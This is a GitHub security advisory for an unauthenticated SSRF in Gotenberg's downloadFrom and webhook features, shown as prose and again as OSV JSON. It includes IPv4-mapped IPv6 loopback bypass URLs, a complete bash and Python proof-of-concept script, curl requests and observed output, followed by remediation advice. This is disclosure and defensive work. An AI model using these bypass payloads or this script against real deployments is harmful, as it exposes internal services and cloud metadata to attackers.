GHSA-4VMC-GM8V-M35H
Vulnerability from github – Published: 2026-05-07 01:15 – Updated: 2026-05-14 20:52Summary
The default deny-lists used by Gotenberg's downloadFrom feature and webhook feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as http://[::ffff:127.0.0.1]:... and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.
Details
The issue originates from the shipped default deny-list regexes and the way those regexes are applied:
pkg/modules/api/api.go:198-200defines the defaultapi-download-from-deny-list.pkg/modules/webhook/webhook.go:41-43defines the defaultwebhook-deny-list.pkg/gotenberg/filter.go:20-69evaluates those patterns withregexp2using case-sensitive matching.
The attacker-controlled URL then reaches outbound request sinks:
pkg/modules/api/context.go:208-282- Reads attacker-supplied
downloadFrom. - Calls
gotenberg.FilterDeadline(...). - Issues an outbound GET with
retryablehttp.NewRequest(...)andclient.Do(...). pkg/modules/webhook/middleware.go:99-217- Reads
Gotenberg-Webhook-UrlandGotenberg-Webhook-Events-Url. - Calls
gotenberg.FilterDeadline(...). - Constructs a
clientfor outbound delivery. pkg/modules/webhook/client.go:39-152- Sends the success or error webhook request.
pkg/modules/webhook/client.go:155-216- Sends the webhook event request.
Why the bypass works:
- The default deny-list only blocks lowercase
http://andhttps://prefixes. - The filtering logic performs case-sensitive regex matching on the raw user input.
- Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like
http://[::ffff:127.0.0.1]:18081/.... - As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.
Confirmed bypass used during verification:
http://[::ffff:127.0.0.1]:18081/page_1.pdfhttp://[::ffff:127.0.0.1]:18082/uploadhttp://[::ffff:127.0.0.1]:18082/events
This is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate downloadFrom and webhook URL filtering paths.
PoC
One-command verification
From the repository root:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg'
./tmp/poc/verify_ssrf_poc.sh
What the script does:
- Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.
- Starts Gotenberg on
127.0.0.1:3000. - Starts an internal-only helper listener inside the same container network namespace.
- Verifies
downloadFromSSRF by forcing Gotenberg to fetch a PDF fromhttp://[::ffff:127.0.0.1]:18081/page_1.pdf. - Verifies
webhookSSRF by forcing Gotenberg to POST tohttp://[::ffff:127.0.0.1]:18082/uploadandhttp://[::ffff:127.0.0.1]:18082/events. - Writes evidence artifacts to disk.
Expected success output:
[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf
PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata
[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload
PASS webhook: Gotenberg POSTed to an internal-only loopback listener
Evidence files created by the script:
/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log
Manual evidence commands
The following commands were run after the verifier completed successfully:
jq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json'
cat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log'
Observed output:
{
"page_1.pdf": {
"CreateDate": "2025:02:17 14:46:38+00:00",
"FileType": "PDF",
"FileTypeExtension": "pdf",
"Linearized": "No",
"MIMEType": "application/pdf",
"ModifyDate": "2025:02:17 14:46:38+00:00",
"PDFVersion": 1.7,
"PageCount": 1,
"Producer": "PDFTron built-in office converter, V11.2.0-d27340a176\n",
"SourceFile": "/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf"
}
}
POST /upload len=4363 content-type=application/pdf
POST /events len=126 content-type=application/json
PoC Video:
https://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3
Interpretation:
- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.
- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.
verify_ssrf_poc.sh
#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
IMAGE="${IMAGE:-gotenberg-local-ssrf-poc:minimal}"
DOCKERFILE="${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}"
GOTENBERG_NAME="${GOTENBERG_NAME:-gotenberg-ssrf-poc}"
HELPER_NAME="${HELPER_NAME:-gotenberg-ssrf-helper}"
PORT="${PORT:-3000}"
ARTIFACT_DIR="${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}"
TEST_PDF="$ROOT/test/integration/testdata/page_1.pdf"
DOWNLOAD_JSON="$ARTIFACT_DIR/downloadfrom-metadata.json"
WEBHOOK_LOG="$ARTIFACT_DIR/webhook.log"
HELPER_SCRIPT="$ARTIFACT_DIR/internal_helper.py"
DOWNLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18081/page_1.pdf"
WEBHOOK_UPLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/upload"
WEBHOOK_EVENTS_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/events"
PDF_ENGINE_FLAGS=(
"--pdfengines-merge-engines=qpdf"
"--pdfengines-split-engines=qpdf"
"--pdfengines-flatten-engines=qpdf"
"--pdfengines-convert-engines=qpdf"
"--pdfengines-read-metadata-engines=exiftool"
"--pdfengines-write-metadata-engines=exiftool"
"--pdfengines-encrypt-engines=qpdf"
"--pdfengines-embed-engines=qpdf"
"--pdfengines-read-bookmarks-engines=qpdf"
"--pdfengines-write-bookmarks-engines=qpdf"
"--pdfengines-watermark-engines=qpdf"
"--pdfengines-stamp-engines=qpdf"
"--pdfengines-rotate-engines=qpdf"
)
red() { printf '\033[31m%s\033[0m\n' "$*"; }
green() { printf '\033[32m%s\033[0m\n' "$*"; }
blue() { printf '\033[34m%s\033[0m\n' "$*"; }
cleanup() {
docker rm -f "$HELPER_NAME" >/dev/null 2>&1 || true
docker rm -f "$GOTENBERG_NAME" >/dev/null 2>&1 || true
}
fail() {
red "$1"
printf '\n--- gotenberg logs ---\n'
docker logs "$GOTENBERG_NAME" 2>/dev/null || true
printf '\n--- helper logs ---\n'
docker logs "$HELPER_NAME" 2>/dev/null || true
exit 1
}
trap cleanup EXIT
mkdir -p "$ARTIFACT_DIR"
: > "$WEBHOOK_LOG"
if [[ ! -f "$TEST_PDF" ]]; then
red "Missing test PDF: $TEST_PDF"
exit 1
fi
if [[ ! -f "$DOCKERFILE" ]]; then
red "Missing Dockerfile: $DOCKERFILE"
exit 1
fi
if ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
blue "[1/6] Building slim verification image: $IMAGE"
docker build -q -t "$IMAGE" -f "$DOCKERFILE" "$ROOT" >/dev/null
else
blue "[1/6] Reusing existing image: $IMAGE"
fi
blue "[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT"
cleanup
docker run -d --rm \
--name "$GOTENBERG_NAME" \
-p "$PORT:3000" \
"$IMAGE" \
--webhook-enable-sync-mode=true \
"${PDF_ENGINE_FLAGS[@]}" >/dev/null
for _ in $(seq 1 45); do
if curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
break
fi
sleep 1
done
if ! curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
fail "Gotenberg did not become healthy"
fi
cat > "$HELPER_SCRIPT" <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from threading import Event, Thread
PDF_PATH = Path("/srv/page_1.pdf")
LOG_PATH = Path("/work/webhook.log")
PDF_BYTES = PDF_PATH.read_bytes()
class DownloadHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/pdf")
self.send_header("Content-Disposition", 'attachment; filename="page_1.pdf"')
self.send_header("Content-Length", str(len(PDF_BYTES)))
self.end_headers()
self.wfile.write(PDF_BYTES)
def log_message(self, fmt, *args):
return
class WebhookHandler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get("Content-Length", "0"))
body = self.rfile.read(length)
with LOG_PATH.open("a", encoding="utf-8") as f:
f.write(
f"{self.command} {self.path} len={len(body)} "
f"content-type={self.headers.get('Content-Type', '')}\n"
)
self.send_response(200)
self.end_headers()
do_PATCH = do_POST
do_PUT = do_POST
def log_message(self, fmt, *args):
return
def serve(addr, handler):
HTTPServer(addr, handler).serve_forever()
Thread(target=serve, args=(("127.0.0.1", 18081), DownloadHandler), daemon=True).start()
Thread(target=serve, args=(("127.0.0.1", 18082), WebhookHandler), daemon=True).start()
print("internal helper ready", flush=True)
Event().wait()
PY
blue "[3/6] Starting internal-only helper inside the same network namespace"
docker run -d --rm \
--name "$HELPER_NAME" \
--network "container:$GOTENBERG_NAME" \
-v "$TEST_PDF:/srv/page_1.pdf:ro" \
-v "$ARTIFACT_DIR:/work" \
-v "$HELPER_SCRIPT:/app/internal_helper.py:ro" \
python:3.11-alpine \
python /app/internal_helper.py >/dev/null
for _ in $(seq 1 20); do
if docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
break
fi
sleep 1
done
if ! docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
fail "Internal helper did not start"
fi
blue "[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL"
download_status="$(
curl -sS \
-o "$DOWNLOAD_JSON" \
-w '%{http_code}' \
-X POST "http://127.0.0.1:$PORT/forms/pdfengines/metadata/read" \
-F "downloadFrom=[{\"url\":\"$DOWNLOAD_BYPASS_URL\"}]"
)"
if [[ "$download_status" != "200" ]]; then
cat "$DOWNLOAD_JSON" 2>/dev/null || true
fail "downloadFrom verification failed with HTTP $download_status"
fi
if ! jq -e 'has("page_1.pdf")' "$DOWNLOAD_JSON" >/dev/null 2>&1; then
cat "$DOWNLOAD_JSON" || true
fail "downloadFrom verification failed: expected metadata for page_1.pdf"
fi
green "PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata"
blue "[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL"
webhook_status="$(
curl -sS \
-o /dev/null \
-w '%{http_code}' \
-X POST "http://127.0.0.1:$PORT/forms/pdfengines/flatten" \
-H "Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL" \
-H "Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL" \
-F "files=@$TEST_PDF"
)"
if [[ "$webhook_status" != "204" ]]; then
fail "webhook verification failed with HTTP $webhook_status"
fi
if ! grep -q '^POST /upload ' "$WEBHOOK_LOG"; then
cat "$WEBHOOK_LOG" || true
fail "webhook verification failed: /upload was not hit"
fi
if ! grep -q '^POST /events ' "$WEBHOOK_LOG"; then
cat "$WEBHOOK_LOG" || true
fail "webhook verification failed: /events was not hit"
fi
green "PASS webhook: Gotenberg POSTed to an internal-only loopback listener"
blue "[6/6] Evidence files"
printf 'downloadFrom metadata: %s\n' "$DOWNLOAD_JSON"
printf 'webhook log: %s\n' "$WEBHOOK_LOG"
printf '\n--- downloadFrom metadata excerpt ---\n'
jq '{filename_present: has("page_1.pdf"), sample_keys: (."page_1.pdf" | keys[0:6])}' "$DOWNLOAD_JSON"
printf '\n--- webhook log ---\n'
cat "$WEBHOOK_LOG"
printf '\n'
green "Verification complete"
printf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\n'
Impact
This is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.
Affected users are operators who rely on the default downloadFrom and webhook deny-lists for SSRF protection. In practice, an attacker can:
- Read content from internal HTTP endpoints through
downloadFrom. - Trigger state-changing POST/PATCH/PUT requests through the
webhookfeature. - Reach services bound only to localhost from the perspective of the Gotenberg host or container.
Remediation
-
Normalize and structurally validate URLs before any allow-list or deny-list decision. Parse with
net/url, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation. -
Replace regex-only private-address filtering with resolved IP validation. Resolve the hostname, evaluate every resolved IP with
net/netip, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well. -
Reconsider the security default for outbound URL features. Either disable
downloadFromandwebhookby default, or ship a strict default policy that only allowshttp/httpsplus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently todownloadFrom,webhook, error URLs, and event URLs.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.30.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.32.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42596"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T01:15:19Z",
"nvd_published_at": "2026-05-14T16:16:22Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThe default deny-lists used by Gotenberg\u0027s `downloadFrom` feature and `webhook` feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as `http://[::ffff:127.0.0.1]:...` and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.\n\n### Details\nThe issue originates from the shipped default deny-list regexes and the way those regexes are applied:\n\n- `pkg/modules/api/api.go:198-200` defines the default `api-download-from-deny-list`.\n- `pkg/modules/webhook/webhook.go:41-43` defines the default `webhook-deny-list`.\n- `pkg/gotenberg/filter.go:20-69` evaluates those patterns with `regexp2` using case-sensitive matching.\n\nThe attacker-controlled URL then reaches outbound request sinks:\n\n- `pkg/modules/api/context.go:208-282`\n - Reads attacker-supplied `downloadFrom`.\n - Calls `gotenberg.FilterDeadline(...)`.\n - Issues an outbound GET with `retryablehttp.NewRequest(...)` and `client.Do(...)`.\n- `pkg/modules/webhook/middleware.go:99-217`\n - Reads `Gotenberg-Webhook-Url` and `Gotenberg-Webhook-Events-Url`.\n - Calls `gotenberg.FilterDeadline(...)`.\n - Constructs a `client` for outbound delivery.\n- `pkg/modules/webhook/client.go:39-152`\n - Sends the success or error webhook request.\n- `pkg/modules/webhook/client.go:155-216`\n - Sends the webhook event request.\n\nWhy the bypass works:\n\n1. The default deny-list only blocks lowercase `http://` and `https://` prefixes.\n2. The filtering logic performs case-sensitive regex matching on the raw user input.\n3. Go\u0027s HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like `http://[::ffff:127.0.0.1]:18081/...`.\n4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.\n\nConfirmed bypass used during verification:\n\n- `http://[::ffff:127.0.0.1]:18081/page_1.pdf`\n- `http://[::ffff:127.0.0.1]:18082/upload`\n- `http://[::ffff:127.0.0.1]:18082/events`\n\nThis is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate `downloadFrom` and `webhook` URL filtering paths.\n\n### PoC\n#### One-command verification\nFrom the repository root:\n\n```bash\ncd \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg\u0027\n./tmp/poc/verify_ssrf_poc.sh\n```\n\nWhat the script does:\n\n1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.\n2. Starts Gotenberg on `127.0.0.1:3000`.\n3. Starts an internal-only helper listener inside the same container network namespace.\n4. Verifies `downloadFrom` SSRF by forcing Gotenberg to fetch a PDF from `http://[::ffff:127.0.0.1]:18081/page_1.pdf`.\n5. Verifies `webhook` SSRF by forcing Gotenberg to POST to `http://[::ffff:127.0.0.1]:18082/upload` and `http://[::ffff:127.0.0.1]:18082/events`.\n6. Writes evidence artifacts to disk.\n\nExpected success output:\n\n```text\n[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf\nPASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\n[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload\nPASS webhook: Gotenberg POSTed to an internal-only loopback listener\n```\n\nEvidence files created by the script:\n\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json`\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log`\n\n#### Manual evidence commands\nThe following commands were run after the verifier completed successfully:\n\n```bash\njq \u0027.\u0027 \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json\u0027\ncat \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log\u0027\n```\n\nObserved output:\n\n```json\n{\n \"page_1.pdf\": {\n \"CreateDate\": \"2025:02:17 14:46:38+00:00\",\n \"FileType\": \"PDF\",\n \"FileTypeExtension\": \"pdf\",\n \"Linearized\": \"No\",\n \"MIMEType\": \"application/pdf\",\n \"ModifyDate\": \"2025:02:17 14:46:38+00:00\",\n \"PDFVersion\": 1.7,\n \"PageCount\": 1,\n \"Producer\": \"PDFTron built-in office converter, V11.2.0-d27340a176\\n\",\n \"SourceFile\": \"/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf\"\n }\n}\n```\n\n```text\nPOST /upload len=4363 content-type=application/pdf\nPOST /events len=126 content-type=application/json\n```\n\nPoC Video:\n\nhttps://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3\n\n\n\nInterpretation:\n\n- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.\n- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.\n\n### `verify_ssrf_poc.sh`\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nROOT=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")/../..\" \u0026\u0026 pwd)\"\nIMAGE=\"${IMAGE:-gotenberg-local-ssrf-poc:minimal}\"\nDOCKERFILE=\"${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}\"\nGOTENBERG_NAME=\"${GOTENBERG_NAME:-gotenberg-ssrf-poc}\"\nHELPER_NAME=\"${HELPER_NAME:-gotenberg-ssrf-helper}\"\nPORT=\"${PORT:-3000}\"\nARTIFACT_DIR=\"${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}\"\nTEST_PDF=\"$ROOT/test/integration/testdata/page_1.pdf\"\nDOWNLOAD_JSON=\"$ARTIFACT_DIR/downloadfrom-metadata.json\"\nWEBHOOK_LOG=\"$ARTIFACT_DIR/webhook.log\"\nHELPER_SCRIPT=\"$ARTIFACT_DIR/internal_helper.py\"\nDOWNLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18081/page_1.pdf\"\nWEBHOOK_UPLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/upload\"\nWEBHOOK_EVENTS_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/events\"\nPDF_ENGINE_FLAGS=(\n \"--pdfengines-merge-engines=qpdf\"\n \"--pdfengines-split-engines=qpdf\"\n \"--pdfengines-flatten-engines=qpdf\"\n \"--pdfengines-convert-engines=qpdf\"\n \"--pdfengines-read-metadata-engines=exiftool\"\n \"--pdfengines-write-metadata-engines=exiftool\"\n \"--pdfengines-encrypt-engines=qpdf\"\n \"--pdfengines-embed-engines=qpdf\"\n \"--pdfengines-read-bookmarks-engines=qpdf\"\n \"--pdfengines-write-bookmarks-engines=qpdf\"\n \"--pdfengines-watermark-engines=qpdf\"\n \"--pdfengines-stamp-engines=qpdf\"\n \"--pdfengines-rotate-engines=qpdf\"\n)\n\nred() { printf \u0027\\033[31m%s\\033[0m\\n\u0027 \"$*\"; }\ngreen() { printf \u0027\\033[32m%s\\033[0m\\n\u0027 \"$*\"; }\nblue() { printf \u0027\\033[34m%s\\033[0m\\n\u0027 \"$*\"; }\n\ncleanup() {\n docker rm -f \"$HELPER_NAME\" \u003e/dev/null 2\u003e\u00261 || true\n docker rm -f \"$GOTENBERG_NAME\" \u003e/dev/null 2\u003e\u00261 || true\n}\n\nfail() {\n red \"$1\"\n printf \u0027\\n--- gotenberg logs ---\\n\u0027\n docker logs \"$GOTENBERG_NAME\" 2\u003e/dev/null || true\n printf \u0027\\n--- helper logs ---\\n\u0027\n docker logs \"$HELPER_NAME\" 2\u003e/dev/null || true\n exit 1\n}\n\ntrap cleanup EXIT\n\nmkdir -p \"$ARTIFACT_DIR\"\n: \u003e \"$WEBHOOK_LOG\"\n\nif [[ ! -f \"$TEST_PDF\" ]]; then\n red \"Missing test PDF: $TEST_PDF\"\n exit 1\nfi\n\nif [[ ! -f \"$DOCKERFILE\" ]]; then\n red \"Missing Dockerfile: $DOCKERFILE\"\n exit 1\nfi\n\nif ! docker image inspect \"$IMAGE\" \u003e/dev/null 2\u003e\u00261; then\n blue \"[1/6] Building slim verification image: $IMAGE\"\n docker build -q -t \"$IMAGE\" -f \"$DOCKERFILE\" \"$ROOT\" \u003e/dev/null\nelse\n blue \"[1/6] Reusing existing image: $IMAGE\"\nfi\n\nblue \"[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT\"\ncleanup\ndocker run -d --rm \\\n --name \"$GOTENBERG_NAME\" \\\n -p \"$PORT:3000\" \\\n \"$IMAGE\" \\\n --webhook-enable-sync-mode=true \\\n \"${PDF_ENGINE_FLAGS[@]}\" \u003e/dev/null\n\nfor _ in $(seq 1 45); do\n if curl -fsS \"http://127.0.0.1:$PORT/health\" \u003e/dev/null 2\u003e\u00261; then\n break\n fi\n sleep 1\ndone\n\nif ! curl -fsS \"http://127.0.0.1:$PORT/health\" \u003e/dev/null 2\u003e\u00261; then\n fail \"Gotenberg did not become healthy\"\nfi\n\ncat \u003e \"$HELPER_SCRIPT\" \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom threading import Event, Thread\n\nPDF_PATH = Path(\"/srv/page_1.pdf\")\nLOG_PATH = Path(\"/work/webhook.log\")\nPDF_BYTES = PDF_PATH.read_bytes()\n\n\nclass DownloadHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/pdf\")\n self.send_header(\"Content-Disposition\", \u0027attachment; filename=\"page_1.pdf\"\u0027)\n self.send_header(\"Content-Length\", str(len(PDF_BYTES)))\n self.end_headers()\n self.wfile.write(PDF_BYTES)\n\n def log_message(self, fmt, *args):\n return\n\n\nclass WebhookHandler(BaseHTTPRequestHandler):\n def do_POST(self):\n length = int(self.headers.get(\"Content-Length\", \"0\"))\n body = self.rfile.read(length)\n with LOG_PATH.open(\"a\", encoding=\"utf-8\") as f:\n f.write(\n f\"{self.command} {self.path} len={len(body)} \"\n f\"content-type={self.headers.get(\u0027Content-Type\u0027, \u0027\u0027)}\\n\"\n )\n self.send_response(200)\n self.end_headers()\n\n do_PATCH = do_POST\n do_PUT = do_POST\n\n def log_message(self, fmt, *args):\n return\n\n\ndef serve(addr, handler):\n HTTPServer(addr, handler).serve_forever()\n\n\nThread(target=serve, args=((\"127.0.0.1\", 18081), DownloadHandler), daemon=True).start()\nThread(target=serve, args=((\"127.0.0.1\", 18082), WebhookHandler), daemon=True).start()\n\nprint(\"internal helper ready\", flush=True)\nEvent().wait()\nPY\n\nblue \"[3/6] Starting internal-only helper inside the same network namespace\"\ndocker run -d --rm \\\n --name \"$HELPER_NAME\" \\\n --network \"container:$GOTENBERG_NAME\" \\\n -v \"$TEST_PDF:/srv/page_1.pdf:ro\" \\\n -v \"$ARTIFACT_DIR:/work\" \\\n -v \"$HELPER_SCRIPT:/app/internal_helper.py:ro\" \\\n python:3.11-alpine \\\n python /app/internal_helper.py \u003e/dev/null\n\nfor _ in $(seq 1 20); do\n if docker logs \"$HELPER_NAME\" 2\u003e\u00261 | grep -q \"internal helper ready\"; then\n break\n fi\n sleep 1\ndone\n\nif ! docker logs \"$HELPER_NAME\" 2\u003e\u00261 | grep -q \"internal helper ready\"; then\n fail \"Internal helper did not start\"\nfi\n\nblue \"[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL\"\ndownload_status=\"$(\n curl -sS \\\n -o \"$DOWNLOAD_JSON\" \\\n -w \u0027%{http_code}\u0027 \\\n -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/metadata/read\" \\\n -F \"downloadFrom=[{\\\"url\\\":\\\"$DOWNLOAD_BYPASS_URL\\\"}]\"\n)\"\n\nif [[ \"$download_status\" != \"200\" ]]; then\n cat \"$DOWNLOAD_JSON\" 2\u003e/dev/null || true\n fail \"downloadFrom verification failed with HTTP $download_status\"\nfi\n\nif ! jq -e \u0027has(\"page_1.pdf\")\u0027 \"$DOWNLOAD_JSON\" \u003e/dev/null 2\u003e\u00261; then\n cat \"$DOWNLOAD_JSON\" || true\n fail \"downloadFrom verification failed: expected metadata for page_1.pdf\"\nfi\n\ngreen \"PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\"\n\nblue \"[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL\"\nwebhook_status=\"$(\n curl -sS \\\n -o /dev/null \\\n -w \u0027%{http_code}\u0027 \\\n -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/flatten\" \\\n -H \"Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL\" \\\n -H \"Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL\" \\\n -F \"files=@$TEST_PDF\"\n)\"\n\nif [[ \"$webhook_status\" != \"204\" ]]; then\n fail \"webhook verification failed with HTTP $webhook_status\"\nfi\n\nif ! grep -q \u0027^POST /upload \u0027 \"$WEBHOOK_LOG\"; then\n cat \"$WEBHOOK_LOG\" || true\n fail \"webhook verification failed: /upload was not hit\"\nfi\n\nif ! grep -q \u0027^POST /events \u0027 \"$WEBHOOK_LOG\"; then\n cat \"$WEBHOOK_LOG\" || true\n fail \"webhook verification failed: /events was not hit\"\nfi\n\ngreen \"PASS webhook: Gotenberg POSTed to an internal-only loopback listener\"\n\nblue \"[6/6] Evidence files\"\nprintf \u0027downloadFrom metadata: %s\\n\u0027 \"$DOWNLOAD_JSON\"\nprintf \u0027webhook log: %s\\n\u0027 \"$WEBHOOK_LOG\"\n\nprintf \u0027\\n--- downloadFrom metadata excerpt ---\\n\u0027\njq \u0027{filename_present: has(\"page_1.pdf\"), sample_keys: (.\"page_1.pdf\" | keys[0:6])}\u0027 \"$DOWNLOAD_JSON\"\n\nprintf \u0027\\n--- webhook log ---\\n\u0027\ncat \"$WEBHOOK_LOG\"\n\nprintf \u0027\\n\u0027\ngreen \"Verification complete\"\nprintf \u0027Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\\n\u0027\n```\n\n### Impact\nThis is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.\n\nAffected users are operators who rely on the default `downloadFrom` and `webhook` deny-lists for SSRF protection. In practice, an attacker can:\n\n- Read content from internal HTTP endpoints through `downloadFrom`.\n- Trigger state-changing POST/PATCH/PUT requests through the `webhook` feature.\n- Reach services bound only to localhost from the perspective of the Gotenberg host or container.\n\n### Remediation\n1. Normalize and structurally validate URLs before any allow-list or deny-list decision.\n Parse with `net/url`, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.\n\n2. Replace regex-only private-address filtering with resolved IP validation.\n Resolve the hostname, evaluate every resolved IP with `net/netip`, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.\n\n3. Reconsider the security default for outbound URL features.\n Either disable `downloadFrom` and `webhook` by default, or ship a strict default policy that only allows `http`/`https` plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to `downloadFrom`, `webhook`, error URLs, and event URLs.",
"id": "GHSA-4vmc-gm8v-m35h",
"modified": "2026-05-14T20:52:50Z",
"published": "2026-05-07T01:15:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42596"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
